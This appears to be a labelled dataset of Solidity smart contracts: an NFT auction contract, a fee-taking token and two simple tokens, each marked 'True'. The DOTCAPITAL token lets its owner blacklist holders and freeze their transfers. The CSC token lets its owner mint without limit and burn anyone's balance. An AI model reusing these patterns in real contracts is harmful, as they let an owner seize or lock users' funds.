*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/IDigiNFT.sol
pragma solidity 0.6.5;
interface IDigiNFT {
function mint(
address wallet,
string calldata cardName,
bool cardPhysical
) external returns (uint256);
function cardName(uint256 tokenId) external view returns (string memory);
function cardPhysical(uint256 tokenId) external view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) external;
}
// File: contracts/DigiAuction.sol
pragma solidity 0.6.5;
pragma experimental ABIEncoderV2;
contract DigiAuction is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 BIGNUMBER = 10 ** 18;
/******************
CONFIG
******************/
uint256 public purchaseFee = 500; // 5%
uint256 public digiAmountRequired = 1000 * (BIGNUMBER);
/******************
EVENTS
******************/
event CreatedAuction(uint256 auctionId, address indexed wallet, uint256 tokenId, uint256 created);
event CanceledAuction(uint256 auctionId, address indexed wallet, uint256 tokenId, uint256 created);
event NewHighestOffer(uint256 auctionId, address indexed wallet, uint256 amount, uint256 created);
event DirectBuyed(uint256 auctionId, address indexed wallet, uint256 amount, uint256 created);
event Claimed(uint256 auctionId, address indexed wallet, uint256 amount, uint256 created);
event Log(uint256 data);
/******************
INTERNAL ACCOUNTING
*******************/
address public stakeERC20;
address public digiERC271;
address public stableERC20;
address[] public feesDestinators;
uint256[] public feesPercentages;
uint256 public auctionCount = 0;
mapping (uint256 => Auction) public auctions;
mapping (uint256 => bool) public claimedAuctions;
mapping (uint256 => Offer) public highestOffers;
mapping (uint256 => uint256) public lastAuctionByToken;
struct Auction {
uint256 tokenId;
address owner;
uint256 minPrice;
uint256 fixedPrice;
bool buyed;
uint256 endDate;
}
struct Offer {
address buyer;
uint256 offer;
uint256 date;
}
/******************
PUBLIC FUNCTIONS
*******************/
constructor(
address _stakeERC20,
address _digiERC271,
address _stableERC20
)
public
{
require(address(_stakeERC20) != address(0));
require(address(_digiERC271) != address(0));
require(address(_stableERC20) != address(0));
stakeERC20 = _stakeERC20;
digiERC271 = _digiERC271;
stableERC20 = _stableERC20;
}
/**
* @dev User deposits DIGI NFT for auction.
*/
function createAuction(
uint256 _tokenId,
uint256 _minPrice,
uint256 _fixedPrice,
uint256 _duration
)
public
returns (uint256)
{
IDigiNFT(digiERC271).transferFrom(msg.sender, address(this), _tokenId);
uint256 timeNow = _getTime();
uint256 newAuction = auctionCount;
auctionCount += 1;
auctions[newAuction] = Auction({
tokenId: _tokenId,
owner: msg.sender,
minPrice: _minPrice,
fixedPrice: _fixedPrice,
buyed: false,
endDate: timeNow + _duration
});
lastAuctionByToken[_tokenId] = newAuction;
emit CreatedAuction(newAuction, msg.sender, _tokenId, timeNow);
return newAuction;
}
/**
* @dev User makes an offer for the DIGI NFT.
*/
function participateAuction(uint256 _auctionId, uint256 _amount)
public
nonReentrant()
requiredAmount(msg.sender, digiAmountRequired)
inProgress(_auctionId)
minPrice(_auctionId, _amount)
newHighestOffer(_auctionId, _amount)
{
IERC20(stableERC20).transferFrom(msg.sender, address(this), _amount);
_returnPreviousOffer(_auctionId);
uint256 timeNow = _getTime();
highestOffers[_auctionId] = Offer({
buyer: msg.sender,
offer: _amount,
date: timeNow
});
emit NewHighestOffer(_auctionId, msg.sender, _amount, timeNow);
}
/**
* @dev User directly buyes the DIGI NFT at fixed price.
*/
function directBuy(uint256 _auctionId)
public
notClaimed(_auctionId)
inProgress(_auctionId)
{
require(IERC20(stableERC20).balanceOf(msg.sender) > auctions[_auctionId].fixedPrice, 'DigiAuction: User does not have enough balance');
require(auctions[_auctionId].fixedPrice > 0, 'DigiAuction: Direct buy not available');
uint amount = auctions[_auctionId].fixedPrice;
uint256 feeAmount = amount.mul(purchaseFee).div(10000);
uint256 amountAfterFee = amount.sub(feeAmount);
IERC20(stableERC20).transferFrom(msg.sender, address(this), feeAmount);
IERC20(stableERC20).transferFrom(msg.sender, auctions[_auctionId].owner, amountAfterFee);
IDigiNFT(digiERC271).transferFrom(address(this), msg.sender, auctions[_auctionId].tokenId);
uint256 timeNow = _getTime();
auctions[_auctionId].buyed = true;
claimedAuctions[_auctionId] = true;
_returnPreviousOffer(_auctionId);
emit DirectBuyed(_auctionId, msg.sender, auctions[_auctionId].fixedPrice, timeNow);
}
/**
* @dev Winner user claims DIGI NFT for ended auction.
*/
function claim(uint256 _auctionId)
public
ended(_auctionId)
notClaimed(_auctionId)
{
require(highestOffers[_auctionId].buyer != address(0x0), "DigiAuction: Ended without winner");
uint256 timeNow = _getTime();
uint256 amount = highestOffers[_auctionId].offer;
uint256 feeAmount = amount.mul(purchaseFee).div(10000);
uint256 amountAfterFee = amount.sub(feeAmount);
IERC20(stableERC20).transfer(auctions[_auctionId].owner, amountAfterFee);
IDigiNFT(digiERC271).transferFrom(address(this), highestOffers[_auctionId].buyer, auctions[_auctionId].tokenId);
claimedAuctions[_auctionId] = true;
emit Claimed(_auctionId, highestOffers[_auctionId].buyer, amount, timeNow);
}
/**
* @dev Send all the acumulated fees for one token to the fee destinators.
*/
function withdrawAcumulatedFees() public {
uint256 total = IERC20(stableERC20).balanceOf(address(this));
for (uint8 i = 0; i < feesDestinators.length; i++) {
IERC20(stableERC20).transfer(
feesDestinators[i],
total.mul(feesPercentages[i]).div(100)
);
}
}
/**
* @dev Cancel auction and returns token.
*/
function cancel(uint256 _auctionId)
public
ended(_auctionId)
{
require(auctions[_auctionId].owner == msg.sender, 'DigiAuction: User is not the token owner');
require(highestOffers[_auctionId].buyer == address(0x0), "DigiAuction: Ended but has winner");
uint256 timeNow = _getTime();
auctions[_auctionId].endDate = timeNow;
IDigiNFT(digiERC271).transferFrom(
address(this),
auctions[_auctionId].owner,
auctions[_auctionId].tokenId
);
emit CanceledAuction(_auctionId, msg.sender, auctions[_auctionId].tokenId, timeNow);
}
/**
* @dev Sets the purchaseFee for every withdraw.
*/
function setFee(uint256 _purchaseFee) public onlyOwner() {
require(_purchaseFee <= 3000, "DigiAuction: Max fee 30%");
purchaseFee = _purchaseFee;
}
/**
* @dev Configure how to distribute the fees for user's withdraws.
*/
function setFeesDestinatorsWithPercentages(
address[] memory _destinators,
uint256[] memory _percentages
)
public
onlyOwner()
{
require(_destinators.length == _percentages.length, "DigiAuction: Destinators and percentageslenght are not equals");
uint256 total = 0;
for (uint8 i = 0; i < _percentages.length; i++) {
total += _percentages[i];
}
require(total == 100, "DigiAuction: Percentages sum must be 100");
feesDestinators = _destinators;
feesPercentages = _percentages;
}
/******************
PRIVATE FUNCTIONS
*******************/
function _returnPreviousOffer(uint256 _auctionId) internal {
Offer memory currentOffer = highestOffers[_auctionId];
if (currentOffer.offer > 0) {
IERC20(stableERC20).transfer(currentOffer.buyer, currentOffer.offer);
}
}
function _getTime() internal view returns (uint256) {
return block.timestamp;
}
/******************
MODIFIERS
*******************/
modifier requiredAmount(address _wallet, uint256 _amount) {
require(
IERC20(stakeERC20).balanceOf(_wallet) > _amount,
'DigiAuction: User needs more token balance in order to do this action'
);
_;
}
modifier newHighestOffer(uint256 _auctionId, uint256 _amount) {
require(
_amount > highestOffers[_auctionId].offer,
'DigiAuction: Amount must be higher'
);
_;
}
modifier minPrice(uint256 _auctionId, uint256 _amount) {
require(
_amount >= auctions[_auctionId].minPrice,
'DigiAuction: Insufficient offer amount for this auction'
);
_;
}
modifier inProgress(uint256 _auctionId) {
require(
(auctions[_auctionId].endDate > _getTime()) && auctions[_auctionId].buyed == false,
'DigiAuction: Auction closed'
);
_;
}
modifier ended(uint256 _auctionId) {
require(
(_getTime() > auctions[_auctionId].endDate) && auctions[_auctionId].buyed == false,
'DigiAuction: Auction not closed'
);
_;
}
modifier notClaimed(uint256 _auctionId) {
require(
(claimedAuctions[_auctionId] == false),
'DigiAuction: Already claimed'
);
_;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-01
*/
// SPDX-License-Identifier: Unlicensed
/*
______ _____ _______ _______ _______ _____ _____ _______ _______
| \ | | | | |_____| |_____] | | |_____| |
|_____/ |_____| | |_____ | | | __|__ | | | |_____
website: https://dotcapital.finance
telegram: https://t.me/dotcapital
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract DOTCAPITAL is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Dot Capital";
string private constant _symbol = "DOTCAPITAL";
uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxTxnAmount = 4;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
bool private _txnLimit = false;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initNewPair(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function startTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_txnLimit = true;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function enableTxnLimit(bool onoff) external onlyOwner() {
_txnLimit = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 5);
_teamFee = fee;
}
function setMaxTxn(uint256 max) external onlyOwner(){
require(max>2);
_maxTxnAmount = max;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | True | [
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pragma solidity ^0.4.23;
contract CSC {
mapping (address => uint256) private balances;
mapping (address => uint256[2]) private lockedBalances;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
uint256 public totalSupply;
address public owner;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
constructor(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
address _owner,
address[] _lockedAddress,
uint256[] _lockedBalances,
uint256[] _lockedTimes
) public {
balances[_owner] = _initialAmount; // Give the owner all initial tokens
totalSupply = _initialAmount; // Update total supply
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
owner = _owner; // set owner
for(uint i = 0;i < _lockedAddress.length;i++){
lockedBalances[_lockedAddress[i]][0] = _lockedBalances[i];
lockedBalances[_lockedAddress[i]][1] = _lockedTimes[i];
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
if(_to != address(0)){
if(lockedBalances[msg.sender][1] >= now) {
require((balances[msg.sender] > lockedBalances[msg.sender][0]) &&
(balances[msg.sender] - lockedBalances[msg.sender][0] >= _value));
} else {
require(balances[msg.sender] >= _value);
}
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
}
function burnFrom(address _who,uint256 _value)public returns (bool){
require(msg.sender == owner);
assert(balances[_who] >= _value);
totalSupply -= _value;
balances[_who] -= _value;
lockedBalances[_who][0] = 0;
lockedBalances[_who][1] = 0;
return true;
}
function makeCoin(uint256 _value)public returns (bool){
require(msg.sender == owner);
totalSupply += _value;
balances[owner] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function withdraw() public{
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
function withdrawTo(address _to) public{
require(msg.sender == owner);
address(_to).transfer(address(this).balance);
}
} | True | [
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pragma solidity ^0.4.18;
/**
* Math operations with safety checks
* By OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/contracts/SafeMath.sol
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ContractReceiver{
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
//Basic ERC23 token, backward compatible with ERC20 transfer function.
//Based in part on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23BasicToken {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function tokenFallback(address _from, uint256 _value, bytes _data) external {
throw;
}
function transfer(address _to, uint256 _value, bytes _data) returns (bool success) {
//Standard ERC23 transfer function
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transfer(address _to, uint256 _value) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
}
function transferToContract(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub( _value);
balances[_to] = balances[_to].add( _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
